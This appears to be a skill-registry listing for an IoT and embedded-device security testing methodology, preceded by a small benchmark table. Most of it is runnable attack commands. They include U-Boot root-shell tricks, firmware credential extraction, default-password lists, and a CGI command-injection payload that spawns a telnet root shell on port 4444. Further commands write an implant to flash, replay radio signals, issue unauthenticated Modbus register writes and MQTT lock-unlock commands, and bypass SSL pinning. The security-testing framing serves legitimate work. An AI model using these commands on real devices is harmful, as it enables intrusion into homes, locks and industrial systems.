Install any skill in seconds. Free to start, no credit card required.
Get Started Free →IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-11 | ✗→✓ | ▲ Improved | 121% | 0% |
| case-12 | ✗→✓ | ▲ Improved | 193% | 0% |
| case-15 | ✗→✓ | ▲ Improved | 236% | 0% |
| case-18 | ✗→✓ | ▲ Improved | 450% | 0% |
| case-04 | ✓→✗ | ▼ Worse | 117% | 0% |
TX, RX, TCK, TMS, TDO, TDI, RST, BOOT| Tool | Use | |------|-----| | Multimeter | Identify GND, VCC rails before connecting | | Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols | | USB-UART (FT232, CP2102) | UART console | | Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic | | J-Link / Black Magic Probe | JTAG / SWD MCU debugging | | CH341A programmer | Cheap SPI flash dumper | | XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) | | ChipQuik / hot-air | Chip-off desolder |
bash# Find baud rate for b in 9600 19200 38400 57600 115200 230400 460800 921600; do echo "=== $b ===" timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log done grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log
Look for: U-Boot console (often Hit any key countdown), Linux init messages, root shell on console, login prompt.
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot: 0
=> printenv # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot # Linux comes up to root shell, no loginIf U-Boot is locked, try:
CONFIG_DELAY_AUTOBOOT_KEYED keyword (vendor-specific)Ctrl+C / Ctrl+B / specific magic stringsbash# In-circuit dump (hold SoC in reset to avoid bus contention) flashrom -p ch341a_spi -r firmware.bin # Verify file firmware.bin && binwalk firmware.bin
If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.
eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.
NAND requires bit-flipping and ECC handling — nanddump/yaffshiv/ubireader post-extraction.
Many devices fetch firmware over HTTP(S). MITM the device:
bash# Captive AP + transparent proxy sudo create_ap wlan0 eth0 IoTLab mitmproxy --mode transparent --showhost --ssl-insecure # Or for non-SNI / pinning, use bettercap with custom DNS
Capture the URL, download directly, dissect.
bashbinwalk -Me firmware.bin # Extract recursively binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
bash# SquashFS (most consumer Linux IoT) unsquashfs -d rootfs squashfs.bin # JFFS2 / UBIFS (NAND-backed) jefferson jffs2.bin -d rootfs ubireader_extract_files ubi.bin -o rootfs
bash# Hardcoded credentials and keys grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/ find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow" # Telnet/SSH default creds cat rootfs/etc/passwd rootfs/etc/shadow grep -r "telnetd" rootfs/etc/init.d grep -r "dropbear\|sshd" rootfs/ # Setuid binaries find rootfs -perm -4000 -type f # Vulnerable busybox / dropbear / openssl versions rootfs/bin/busybox 2>&1 | head -1 strings rootfs/sbin/dropbear | grep "Dropbear v" strings rootfs/usr/lib/libssl* | grep "OpenSSL " # Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.
bash# Disassemble a CGI file rootfs/www/cgi-bin/setup.cgi # Often plain ELF MIPS/ARM — analyze in Ghidra ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi
Common patterns:
system() / popen() with concatenated query string argssprintf then system — easy command injectionTry (per device class): admin/admin, root/root, root/<empty>, admin/password, support/support, cisco/cisco, vendor brand as user/pass. Always try root/<serial number> — many vendors use a per-device default.
httpPOST /goform/setSysAdm Cookie: SESSIONID=... admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
If you have a root shell:
bashcat /proc/mtd # list partitions mtd_debug erase /dev/mtd2 0 0x10000 mtd_debug write /dev/mtd2 0 0x10000 implant.bin
On older kernels without CONFIG_STRICT_DEVMEM, /dev/mem is read/write to physical memory — full system compromise from any root context.
setenv bootargs ${bootargs} init=/bin/shsetenv preboot 'echo 1 > /sys/...' (run command before kernel)tftpboot — load attacker kernel from networkbootm of a memory-resident image you loadb-uploaded over UARTModern devices verify signed bootloaders / kernels. Bypass paths:
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
1. Locate target instruction window via UART timing or power trace
2. Apply glitch (V drop / EM pulse) at that offset
3. Sweep delay and width; success = corrupted check, accepted unsigned image| RTOS | Notes | |------|-------| | FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control | | Zephyr | MMU/MPU optional; verify isolation actually enabled | | ThreadX | Microsoft now, mostly closed | | MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges | | ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 | | QNX | Older versions: pdebug shell on serial = root |
bash# Read protected MCU via SWD / JTAG (if RDP not set) openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \ -c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit" # SAM-BA on Atmel SAM sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)" # Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)
bash# Discover and enumerate bettercap -eval "ble.recon on; events.show 60; ble.show" # GATT introspection gatttool -b AA:BB:CC:DD:EE:FF -I > connect > primary > char-desc > char-read-uuid <uuid> > char-write-req <handle> <hex>
Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.
bash# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E zbstumbler -i 0 zbdump -c 11 -w zigbee.pcap # KillerBee — replay, scapy-dot15d4 for fuzzing zbreplay -f zigbee.pcap -i 0
Touchlink commissioning: known transport key in the wild (0x9F559A553B7A6B2C…) — many consumer devices accept Touchlink commissioning from any nearby radio.
S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with Z-Force / EZ-Wave.
LoRaPWN, ChirpStack for analysisbash# HackRF / RTL-SDR rtl_433 -f 433.92M -A # auto-decoder for many devices gqrx # interactive # Capture, analyze in Inspectrum, replay with hackrf_transfer
Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.
pythonfrom pymodbus.client import ModbusTcpClient c = ModbusTcpClient('10.0.0.5', port=502) c.read_holding_registers(0, count=20, slave=1) c.write_register(40, 1, slave=1) # No auth in the protocol
bash# UDP/47808 bacnet-stack/who-is 10.0.0.0/24 # Read property without auth in many deployments
Modern OPC-UA has security profiles; many deployments use None for compatibility. Test:
Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.
bashmosquitto_sub -h target.broker -t '#' -v # # = wildcard, prints every retained message → secrets, sensor data, control topics mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'
Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe #, replay device commands.
bashcoap-client -m get coap://device/.well-known/core coap-client -m put coap://device/relay/0 -e '1'
DTLS often misconfigured (PSK in firmware, no rotation).
Most IoT vulns today live in the cloud + companion app pair, not the device itself.
bash# Decompile Android companion apktool d Vendor.apk -o app jadx -d app_src Vendor.apk # Look for: API base URL, signing keys, MQTT broker creds, device-claim flow grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/ # Patch SSL pinning (frida) frida -U -l ssl-pin-bypass.js -f com.vendor.app
Test the cloud API for:
/devices/<id> endpointsFor each finding capture:
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosureOther measured skills in the registry, with their headline benchmark lift.